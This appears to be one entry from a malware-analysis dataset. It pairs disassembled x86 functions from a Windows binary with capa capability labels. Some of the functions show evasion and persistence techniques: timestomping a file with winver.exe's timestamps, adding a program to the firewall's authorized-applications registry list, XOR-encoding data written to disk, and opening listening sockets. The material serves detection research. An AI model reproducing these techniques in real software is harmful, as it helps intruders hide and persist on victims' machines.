joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403e70
Capabilities:
Get common file path
Timestomp file

Disassembly:
sub esp, 0x418
push ebx
push esi
push edi
mov edi, dword [esp + 0x428]
test edi, edi
jne 0x403ebf
lea eax, [esp + 0x24]
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.winver.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
jmp 0x403edb
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x24]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
push 0x80
push 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 1
lea ecx, [esp + 0x38]
push 0x80000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x403f61
lea edx, [esp + 0x1c]
lea eax, [esp + 0xc]
push edx
lea ecx, [esp + 0x18]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
mov edx, dword [esp + 0x42c]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push edx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x403f61
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
pop edi
pop esi
pop ebx
add esp, 0x418
ret

Function at 0x4040f0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x114]
lea ecx, [esp + 0xc]
push eax
push esi
push str._s::Enabled:_s
push 0x100
push ecx
mov dword [esp + 0x1c], 0
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea edx, [esp + 8]
push 0
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40418a
lea edi, [esp + 0xc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0xc]
push ecx
mov ecx, dword [esp + 0xc]
push eax
push 1
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 0x104
ret
Function at 0x4056b0
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x406138
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
push ebp
push esi
push edi
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov edi, dword [esp + 0x64]
add esp, 8
lea eax, [esp + 0x10]
mov ecx, edi
push 1
push eax
mov byte [esp + 0x18], 1
call fcn.00401750
cmp eax, 1
jne 0x4058c4
mov dword [esp + 0x5c], 0
mov eax, dword [0x42f090]
test eax, eax
jne 0x4058c4
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x5c]
xor esi, esi
test eax, eax
je 0x4057e1
mov ecx, edi
call fcn.00401830
test eax, eax
jne 0x4057e1
lea ecx, [esp + 0x10]
push 1
push ecx
mov ecx, edi
inc esi
call fcn.00401750
cmp eax, 1
jne 0x4058c4
cmp esi, 0x1e
jle 0x40572d
mov edx, dword [0x408810]
mov eax, dword [0x408814]
add eax, edx
test eax, eax
jne 0x40572d
call dword [sym.imp.MSVCRT.dll_rand]
test al, 3
jne 0x4058c4
lea ecx, [esp + 0x18]
call fcn.00401000
lea ecx, [esp + 0x18]
mov dword [esp + 0x54], 0
call fcn.004010e0
test eax, eax
je 0x405915
push 0xea60
push 0x12c
lea ecx, [esp + 0x20]
call fcn.00402b90
lea ecx, [esp + 0x18]
push ecx
call fcn.00404cc0
add esp, 4
lea ecx, [esp + 0x18]
test eax, eax
je 0x4058d9
call fcn.00402b60
lea ecx, [esp + 0x18]
mov dword [esp + 0x54], 0xffffffff
call fcn.00401080
jmp 0x40572d
mov esi, 1
lea edx, [esp + 0x10]
push esi
push edx
mov ecx, edi
call fcn.00401780
cmp eax, esi
jne 0x4058c4
mov eax, dword [esp + 0x10]
and eax, 0xff
dec eax
cmp eax, 0xf
ja case.0x405816.9
xor ecx, ecx
mov cl, byte [eax + 0x405970]
jmp dword [ecx*4 + 0x40594c]
push edi
call fcn.00402210
add esp, 4
mov dword [esp + 0x5c], esi
jmp case.0x405816.9
mov eax, dword [0x408814]
test eax, eax
jne case.0x405816.9
push 0
push 0
push 0
push 0x402760
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x405816.9
mov eax, dword [0x408810]
test eax, eax
jne case.0x405816.9
push 0
push 0
push 0
push 0x402000
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x405816.9
push edi
call fcn.00403f70
add esp, 4
test eax, eax
jne 0x405928
jmp case.0x405816.9
push edi
call fcn.00403f80
add esp, 4
test eax, eax
jne 0x405928
jmp case.0x405816.9
push 4
push 0x408710
mov ecx, edi
mov dword [esp + 0x1c], 0
call fcn.00401780
lea edx, [esp + 0x14]
push 4
push edx
mov ecx, edi
call fcn.00401780
mov eax, dword [0x42f090]
test eax, eax
je 0x40571f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
add esp, 0x48
ret
call fcn.00402b60
mov eax, dword [0x4303a0]
test eax, eax
jne 0x405915
mov eax, dword [0x408768]
test eax, eax
jne 0x405915
push 0
push 0
push 0
push 0x4054e0
push 0
push 0
mov dword [0x42f098], 0
mov dword [0x408768], 1
call ebp
lea ecx, [esp + 0x18]
mov dword [esp + 0x54], 0xffffffff
call fcn.00401080
jmp 0x4058c4
mov dword [0x42f090], esi
jmp 0x4058c4
mov dword [0x42f090], esi
mov ecx, dword [esp + 0x4c]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x48
ret
Function at 0x405980
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
call dword [sym.imp.MSVCRT.dll_rand]
test al, 3
jne 0x405a00
mov eax, dword [esp + 8]
push 0x40870c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x405a00
push ebx
push esi
push edi
mov ecx, 0x40d
mov esi, 0x408820
mov edi, 0x42e058
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov ecx, 0x54321cba
mov bl, byte [eax + 0x42e058]
mov edx, ecx
sar edx, 0x17
xor bl, dl
add ecx, 0x1234567f
mov byte [eax + 0x42e058], bl
inc eax
cmp eax, 0x1034
jb 0x4059bf
push ebp
push 0x1034
push 1
push 0x42e058
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4029e0
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push edi
push 0
push 0x3e8
push 1
push dword [0x46ac5c]
mov edi, ecx
call dword [sym.imp.USER32.dll_SetTimer]
test eax, eax
jne 0x402a0f
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], 1
xor eax, eax
pop ebp
ret 4
mov ecx, 0x438ed8
call fcn.00404c30
test eax, eax
jne 0x402a2d
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], 2
xor eax, eax
pop ebp
ret 4
push 0x190
push 0
push edi
call fcn.00409830
add esp, 0xc
push edi
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402a5d
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], 3
xor eax, eax
pop ebp
ret 4
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi + 0x194], eax
cmp eax, 0xffffffff
jne 0x402a84
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], 4
xor eax, eax
pop ebp
ret 4
push esi
mov eax, 2
lea esi, [edi + 0x198]
push 0
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [edi + 0x19c], eax
movzx eax, word [0x46acc4]
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
push esi
push dword [edi + 0x194]
mov word [edi + 0x19a], ax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x402adb
mov eax, dword [ebp + 8]
pop esi
pop edi
mov dword [eax], 5
xor eax, eax
pop ebp
ret 4
push accept
push dword [edi + 0x194]
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x402b02
mov eax, dword [ebp + 8]
pop esi
pop edi
mov dword [eax], 6
xor eax, eax
pop ebp
ret 4
push 0x2b
push 0xb
push dword [0x46ac5c]
push dword [edi + 0x194]
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
jne 0x402b2e
mov eax, dword [ebp + 8]
pop esi
pop edi
mov dword [eax], 7
xor eax, eax
pop ebp
ret 4
push 0x4c90
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x4338a8], eax
test eax, eax
jne 0x402b55
mov eax, dword [ebp + 8]
pop esi
pop edi
mov dword [eax], 9
xor eax, eax
pop ebp
ret 4
xor ecx, ecx
nop word [eax + eax]
mov dword [ecx + eax + 0x20], 0
mov eax, dword [0x4338a8]
mov dword [ecx + eax + 0x28], 0
add ecx, 0x38
cmp ecx, 0x4c90
jge 0x402b87
mov eax, dword [0x4338a8]
jmp 0x402b60
xor esi, esi
nop dword [eax]
mov ecx, dword [0x4338a8]
push 0x186a0
push 0x186a0
lea ecx, [esi + ecx]
call fcn.00403160
test eax, eax
je 0x402c00
add esi, 0x38
cmp esi, 0x4c90
jl 0x402b90
mov ecx, 0x4338b0
call fcn.00403460
test eax, eax
jne 0x402bd6
mov eax, dword [ebp + 8]
pop esi
pop edi
mov dword [eax], 0xb
xor eax, eax
pop ebp
ret 4
mov ecx, 0x4340b0
call fcn.00403c20
test eax, eax
jne 0x402bf5
mov eax, dword [ebp + 8]
pop esi
pop edi
mov dword [eax], 0xc
xor eax, eax
pop ebp
ret 4
pop esi
mov eax, 1
pop edi
pop ebp
ret 4
mov eax, dword [ebp + 8]
pop esi
pop edi
mov dword [eax], 0xa
xor eax, eax
pop ebp
ret 4
Function at 0x403260
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4f8
mov eax, dword [0x431040]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x40344c
cmp dword [ebp + 8], 0
push ebx
push edi
je 0x4032cd
mov ecx, dword [esi + 0x24]
mov eax, 0x186a0
mov ebx, dword [ebp + 0x10]
sub eax, ecx
cmp eax, ebx
jge 0x4032ba
push 0x7d1
mov ecx, esi
call fcn.004031b0
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004082a2
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [esi + 0x20]
push ebx
push edx
add eax, ecx
push eax
call fcn.00408d40
add esp, 0xc
add dword [esi + 0x24], ebx
cmp dword [esi + 0x24], 0
jle 0x40344a
mov ebx, dword [ebp - 0x4f4]
nop dword [eax]
mov eax, dword [esi + 8]
lea ecx, [ebp - 0x4f8]
push ecx
push 0
lea ecx, [ebp - 0x4f0]
mov dword [ebp - 0x4ec], eax
push ecx
push 0
inc eax
mov dword [ebp - 0x4f0], 1
push eax
mov dword [ebp - 0x4f8], 5
mov dword [ebp - 0x4f4], 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
js 0x40336f
je 0x403431
lea eax, [ebp - 0x4f0]
push eax
push dword [esi + 8]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x40336f
push 0
push dword [esi + 0x24]
push dword [esi + 0x20]
push dword [esi + 8]
call dword [sym.imp.WS2_32.dll_send]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40338c
mov edx, dword [esi + 0x20]
mov ecx, dword [esi + 0x24]
sub ecx, ebx
push ecx
lea ecx, [edx + ebx]
push ecx
push edx
call fcn.00408d40
add esp, 0xc
sub dword [esi + 0x24], ebx
cmp dword [esi + 0x24], 0
jg 0x4032e0
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004082a2
mov esp, ebp
pop ebp
ret 0xc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x40344a
cmp dword [esi], 0
je 0x40344a
mov eax, dword [esi + 0x30]
cmp eax, 3
je 0x4033f3
cmp eax, 4
je 0x4033f3
push dword [esi + 0x34]
push eax
lea eax, [esi + 0x10]
push eax
push 0x7d2
lea eax, [ebp - 0x3ec]
push str._ABNORMAL_FREE___d__::_SERVER_IP___s___SERVER_TYPE___d___SERVER_NUMBER___d_
push eax
call fcn.004029a0
add esp, 0x18
lea eax, [ebp - 0x3ec]
push eax
push str.MyUser::Quit
push str.___s__:_error__s__n
call fcn.00402440
push eax
call fcn.00402290
add esp, 0x10
push dword [esi + 8]
mov dword [esi + 0x2c], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x30], 0xffffffff
mov dword [esi + 0x34], 0xffffffff
mov dword [esi], 0
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004082a2
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [esi + 0x20]
mov eax, dword [esi + 0x24]
sub eax, ebx
push eax
lea eax, [ecx + ebx]
push eax
push ecx
call fcn.00408d40
add esp, 0xc
sub dword [esi + 0x24], ebx
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004082a2
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406ed8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x406ef9
jl 0x406ef0
test edi, edi
jne 0x406ef9
xor eax, eax
xor edx, edx
jmp 0x406fba
cmp dword [ebx + 0x38], 0
je 0x406f0e
push eax
push edi
push dword [ebp + 8]
call fcn.00406fc0
jmp 0x406fba
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x406f55
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x406f55
cmp eax, edi
jb 0x406f2f
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00408d40
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x406f5b
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x406faf
mov ecx, ebx
call fcn.0040658e
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x406f9a
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.00410975
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x406faf
jmp 0x406f6d
test edx, edx
je 0x406faf
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00410975
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x4089f0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x408a2f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x408a2f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x408a2f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x408a2f
cmp dword [ecx + 0x74], 0xe
jbe 0x408a2f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x417109
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42a798
push 0x42a790
push str.FlsAlloc
push 0x1f
call fcn.00416f73
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41713d
push dword [ebp + 8]
mov ecx, esi
call dword [0x426204]
call esi
jmp 0x417143
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x417187
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42a7a8
push 0x42a7a0
push str.FlsGetValue
push 0x21
call fcn.00416f73
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4171be
push dword [ebp + 8]
mov ecx, esi
call dword [0x426204]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x4171c6
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42a7b0
push 0x42a7a8
push str.FlsSetValue
push 0x22
call fcn.00416f73
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417200
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x426204]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x419605
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004082b0
mov eax, dword [0x431040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00416905
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x419647
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4197a3
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004253c0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x46c508]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0041a602
mov ecx, dword [esi*4 + 0x46c508]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x41979c
cmp eax, dword [ecx + edi + 0x24]
jne 0x41979c
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41979c
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041a602
add esp, 0x14
test edx, edx
jl 0x41979c
jg 0x419712
test eax, eax
jb 0x41979c
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41979c
jl 0x41972c
cmp dword [ebp - 0x1008], eax
ja 0x41979c
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41974a
test ebx, ebx
je 0x419783
cmp ecx, edi
jae 0x419783
mov al, byte [ecx]
cmp al, 0xd
jne 0x419764
lea eax, [edi - 1]
cmp ecx, eax
jae 0x419770
cmp byte [ecx + 1], 0xa
jne 0x419770
inc ecx
jmp 0x419770
movzx eax, al
movsx eax, byte [eax + 0x431498]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41974a
cmp edx, ebx
jne 0x41974a
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4197a1
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004082a2
leave
ret
Function at 0x419a9a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x46c508]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x419ada
cmp byte [ebx], 0xa
jne 0x419ada
or byte [edi + eax + 0x28], 4
jmp 0x419adf
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x419bde
mov dl, byte [eax]
cmp dl, 0x1a
je 0x419bc1
inc eax
cmp dl, 0xd
je 0x419b0b
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x419b31
cmp eax, ecx
jae 0x419b3f
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x419af3
jmp 0x419bde
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x419bbc
cmp dword [ebp - 0x10], 0
je 0x419bbc
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x46c508]
test byte [eax + edi + 0x28], 0x48
je 0x419b96
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x419b81
mov byte [esi], dl
jmp 0x419b92
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x46c508]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x419bde
cmp byte [ebp - 1], 0xa
jne 0x419ba5
cmp esi, ebx
jne 0x419ba5
mov byte [esi], 0xa
jmp 0x419bdd
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041a620
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x419bde
mov byte [esi], 0xd
jmp 0x419bdd
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x46c508]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x419bdb
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x419bde
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x419be7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x46c508]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x419c2d
cmp word [ebx], dx
jne 0x419c2d
or byte [eax + edi + 0x28], 4
jmp 0x419c32
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x419d95
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x419d75
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x419c73
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x419ca9
cmp eax, edx
jae 0x419cb7
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x419c4e
jmp 0x419d95
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x419d70
cmp dword [ebp - 0x18], 0
je 0x419d70
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x46c508]
test byte [eax + edi + 0x28], 0x48
je 0x419d46
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x419d0a
mov word [esi], cx
jmp 0x419d41
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x46c508]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x46c508]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x46c508]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x419d95
pop eax
cmp word [ebp - 4], ax
jne 0x419d56
cmp esi, ebx
jne 0x419d56
mov word [esi], ax
jmp 0x419d92
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041a620
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x419d95
push 0xd
pop eax
jmp 0x419d51
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x46c508]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x419d8f
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x419d95
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret